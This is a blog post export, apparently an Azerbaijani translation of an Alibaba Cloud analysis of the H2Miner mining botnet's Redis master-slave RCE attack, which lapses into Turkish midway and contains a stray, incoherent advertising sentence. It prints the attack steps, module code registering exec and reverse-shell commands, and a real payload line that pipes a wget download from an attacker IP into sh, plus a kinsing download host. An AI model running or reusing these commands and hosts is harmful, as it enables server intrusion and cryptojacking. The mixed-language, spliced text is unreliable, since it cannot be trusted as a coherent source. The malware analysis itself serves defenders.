{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/az\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Redis RCE-ni istismar ed\u0259n yeni H2Miner viruslar\u0131n\u0131n yay\u0131lmas\u0131 a\u015fkar edildi","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Bir g\u00fcn \u0259vv\u0259l layih\u0259md\u0259n biri bu c\u00fcr bir \u00e7\u0259tinlikl\u0259 qar\u015f\u0131la\u015fd\u0131. \"Bu n\u0259 idi?\" sual\u0131na cavab axtarark\u0259n Alibaba Cloud Security komandas\u0131 t\u0259r\u0259find\u0259n yaz\u0131lm\u0131\u015f g\u00f6z\u0259l bir m\u0259qal\u0259y\u0259 rast g\u0259ldim. Bu m\u0259qal\u0259ni Habr-da tapa bilm\u0259dim, ona g\u00f6r\u0259 d\u0259 x\u00fcsusi olaraq sizl\u0259r \u00fc\u00e7\u00fcn t\u0259rc\u00fcm\u0259 etm\u0259y\u0259 q\u0259rar verdim <3\n<\/p><\/blockquote>\n

Giri\u015f<\/h2>\n

\nSon vaxtlar Alibaba Cloud t\u0259hl\u00fck\u0259sizlik komandas\u0131 H2Miner-in bird\u0259n-bir\u0259 artan aktivliyini a\u015fkar etdi. Bu c\u00fcr z\u0259r\u0259rli \u00e7ay\u0131n Redis-d\u0259 g\u00fccs\u00fcz parollardan v\u0259 ya kimlik do\u011frulama olmamas\u0131ndan istifad\u0259 ed\u0259r\u0259k sisteml\u0259riniz\u0259 giri\u015f \u0259ld\u0259 etm\u0259si v\u0259 daha sonra \u00f6z z\u0259r\u0259rli modulu master-slave sinkronizasiyas\u0131 vasit\u0259sil\u0259 k\u00f6leniz\u0259 sinkronizasiya ed\u0259r\u0259k y\u00fckl\u0259m\u0259si v\u0259 h\u00fccum edil\u0259n ma\u015f\u0131nda z\u0259r\u0259rli \u0259mrl\u0259ri icra etm\u0259si \u00fc\u00e7\u00fcn giri\u015f yaratmas\u0131d\u0131r.<\/p>\n

Ke\u00e7mi\u015fd\u0259, sisteml\u0259riniz\u0259 edil\u0259n h\u00fccumlar \u0259sas\u0259n planla\u015fd\u0131r\u0131lm\u0131\u015f v\u0259zif\u0259l\u0259r v\u0259 ya SSH a\u00e7arlar\u0131 vasit\u0259sil\u0259 h\u0259yata ke\u00e7irilirdi ki, bunlar da z\u0259r\u0259rverici Redis-\u0259 giri\u015f \u0259ld\u0259 etdikd\u0259n sonra sizin ma\u015f\u0131n\u0131n\u0131za y\u00fckl\u0259nirdi. Xo\u015fb\u0259xtlikd\u0259n, bu metod qar\u015f\u0131s\u0131n\u0131 almaqda \u00e7\u0259tinlik \u00e7\u0259kir, \u00e7\u00fcnki icaz\u0259 n\u0259zar\u0259ti il\u0259 ba\u011fl\u0131 probleml\u0259r v\u0259 ya sistemin m\u00fcxt\u0259lif versiyalar\u0131 s\u0259b\u0259biyl\u0259. Bununla bel\u0259, z\u0259r\u0259rli modulu y\u00fckl\u0259m\u0259k metodu, h\u00fccum ed\u0259nin \u0259mrl\u0259rini birba\u015fa icra ed\u0259 bil\u0259r v\u0259 ya shell-\u0259 giri\u015f \u0259ld\u0259 ed\u0259 bil\u0259r, bu da sisteminiz \u00fc\u00e7\u00fcn t\u0259hl\u00fck\u0259lidir.<\/p>\n

B\u00f6y\u00fck sayda serverl\u0259ri \u00fc\u00e7\u00fcn m\u00fck\u0259mm\u0259l se\u00e7im edir.<\/a> internetd\u0259 yerl\u0259\u015f\u0259n Redis-l\u0259rin (t\u0259xmin\u0259n 1 milyon) olmas\u0131 s\u0259b\u0259bind\u0259n, Alibaba Cloud t\u0259hl\u00fck\u0259sizlik komandas\u0131, istifad\u0259\u00e7il\u0259r\u0259 Redis-\u0259 internetd\u0259n giri\u015f icaz\u0259si verm\u0259m\u0259l\u0259rini v\u0259 parollar\u0131n\u0131n g\u00fcv\u0259nliyini m\u00fct\u0259madi yoxlamalar\u0131n\u0131 t\u00f6vsiyy\u0259 edir, eyni zamanda tez d\u0259f\u0259 q\u0131r\u0131lma riskinin olmad\u0131\u011f\u0131n\u0131 t\u0259min etm\u0259l\u0259rini xat\u0131rlad\u0131r.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner, Linux \u0259sasl\u0131 sisteml\u0259r \u00fc\u00e7\u00fcn haz\u0131rlanm\u0131\u015f bir m\u0259d\u0259n\u00e7ilik botnetidir, bu, Hadoop yarn-da kimlik do\u011frulaman\u0131n olmamas\u0131, Docker v\u0259 Redis-in uzaqdan icra etm\u0259 z\u0259ifliyi (RCE) daxil olmaqla bir ne\u00e7\u0259 yolla sisteminiz\u0259 s\u0131zma\u011fa s\u0259b\u0259b ola bil\u0259r. Botnet z\u0259r\u0259rli skriptl\u0259rin v\u0259 z\u0259r\u0259rli proqramlar\u0131n y\u00fckl\u0259nm\u0259si, h\u00fccumun geni\u015fl\u0259ndirilm\u0259si v\u0259 komanda-n\u0259zar\u0259t (C&C) \u0259laq\u0259sinin saxlan\u0131lmas\u0131 il\u0259 i\u015fl\u0259yir.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nBu bar\u0259d\u0259 m\u0259lumatlar\u0131 Pavel Toporkov 2018-in ZeroNights konfrans\u0131nda payla\u015f\u0131b. Redis 4.0 versiyas\u0131ndan sonra, xarici modullar\u0131 y\u00fckl\u0259m\u0259 funksiyas\u0131n\u0131 d\u0259st\u0259kl\u0259yir, bu da istifad\u0259\u00e7il\u0259r\u0259 Redis-d\u0259 m\u00fc\u0259yy\u0259n Redis \u0259mrl\u0259rini icra etm\u0259k \u00fc\u00e7\u00fcn C il\u0259 kompilyasiya olunmu\u015f so fayllar\u0131n\u0131 y\u00fckl\u0259m\u0259y\u0259 imkan verir. Bu funksiya faydal\u0131 olsa da, master-slave rejimind\u0259 fayllar\u0131n fullresync rejimind\u0259 k\u00f6l\u00e9 il\u0259 sinkronizasiya edilm\u0259sin\u0259 s\u0259b\u0259b olan bir z\u0259iflik ehtiva edir. Bu, h\u00fccum\u00e7ular t\u0259r\u0259find\u0259n z\u0259r\u0259rli so fayllar\u0131n\u0131n \u00f6t\u00fcr\u00fclm\u0259si \u00fc\u00e7\u00fcn istifad\u0259 oluna bil\u0259r. \u00d6t\u00fcrm\u0259 tamamland\u0131qdan sonra, z\u0259r\u0259rvericil\u0259r z\u0259r\u0259r \u00e7\u0259kmi\u015f Redis n\u00fcsx\u0259sin\u0259 modulu y\u00fckl\u0259yir v\u0259 h\u0259r hans\u0131 bir \u0259mri icra edirl\u0259r.<\/p>\n

Z\u0259r\u0259rli \u00e7ay\u0131n analizi<\/h2>\n

\nSon zamanlarda Alibaba Cloud g\u00fcvenlik ekibi, H2Miner zararl\u0131 madenciler grubunun boyutunun ani bir \u015fekilde artt\u0131\u011f\u0131n\u0131 ke\u015ffetti. Analizlere g\u00f6re, sald\u0131r\u0131n\u0131n olu\u015fma s\u00fcreci \u015fu \u015fekildedir:<\/p>\n

\"Redis
\n
\nH2Miner, tam \u00f6l\u00e7ekli bir sald\u0131r\u0131 i\u00e7in RCE Redis kullanmaktad\u0131r. \u00d6ncelikle, sald\u0131rganlar savunmas\u0131z Redis sunucular\u0131n\u0131 veya zay\u0131f parolalara sahip sunucular\u0131 hedef al\u0131r.<\/p>\n

Daha sonra, komutunu kullan\u0131rlar: config set dbfilename red2.so<\/code> dosya ad\u0131n\u0131 de\u011fi\u015ftirmek i\u00e7in. Ard\u0131ndan, sald\u0131rganlar slaveof<\/code> komutunu kullanarak master-slave \u00e7o\u011faltma adresini ayarlar. <\/p>\n

Sald\u0131r\u0131ya u\u011frayan Redis \u00f6rne\u011fi, sald\u0131rgan\u0131n sahip oldu\u011fu zararl\u0131 Redis ile master-slave ba\u011flant\u0131s\u0131 kurdu\u011funda, sald\u0131rgan, dosyalar\u0131 senkronize etmek i\u00e7in fullresync komutunu kullanarak bula\u015fm\u0131\u015f mod\u00fcl\u00fc g\u00f6nderir. Sonras\u0131nda red2.so dosyas\u0131 hedef makineye y\u00fcklenecektir. Ard\u0131ndan sald\u0131rganlar, bu dosyay\u0131 y\u00fcklemek i\u00e7in .\\\/red2.so y\u00fckleme mod\u00fcl\u00fcn\u00fc kullan\u0131r. Mod\u00fcl, sald\u0131rgan\u0131n komutlar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rabilir veya hedef makineye eri\u015fim sa\u011flamak i\u00e7in ters ba\u011flant\u0131 (arka kap\u0131) ba\u015flatabilir.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nZararl\u0131 komut \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131ktan sonra, \u00f6yle ki \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, sald\u0131rgan, yedek dosyas\u0131n\u0131n ad\u0131n\u0131 s\u0131f\u0131rlayacak ve izlerini silmek i\u00e7in sistem mod\u00fcl\u00fcn\u00fc bo\u015faltacakt\u0131r. Ancak, red2.so dosyas\u0131 hala sald\u0131r\u0131ya u\u011fram\u0131\u015f makinede kalacakt\u0131r. Kullan\u0131c\u0131lara, Redis \u00f6rneklerinin klas\u00f6r\u00fcnde bu \u015f\u00fcpheli dosyan\u0131n olup olmad\u0131\u011f\u0131na dikkat etmeleri \u00f6nerilir.<\/p>\n
Baz\u0131 zararl\u0131 s\u00fcre\u00e7leri yok etmenin yan\u0131 s\u0131ra, sald\u0131rgan, kaynaklar\u0131 \u00e7almak i\u00e7in zararl\u0131 senaryoyu izleyip, zararl\u0131 dosyalar\u0131 ikili bi\u00e7imde indirip \u00e7al\u0131\u015ft\u0131rm\u0131\u015ft\u0131r. 142.44.191.122\\\/kinsing<\/a><\/noindex>. Bu, kinsing i\u00e7eren bir s\u00fcre\u00e7 ad\u0131 veya dizin ad\u0131n\u0131n, bu makinenin bu vir\u00fcsle enfekte oldu\u011funu g\u00f6sterebilece\u011fi anlam\u0131na geliyor.<\/p>\n
Ters m\u00fchendislik sonu\u00e7lar\u0131na g\u00f6re, zararl\u0131 yaz\u0131l\u0131m esasen \u015fu i\u015flevleri yerine getirir:<\/p>\n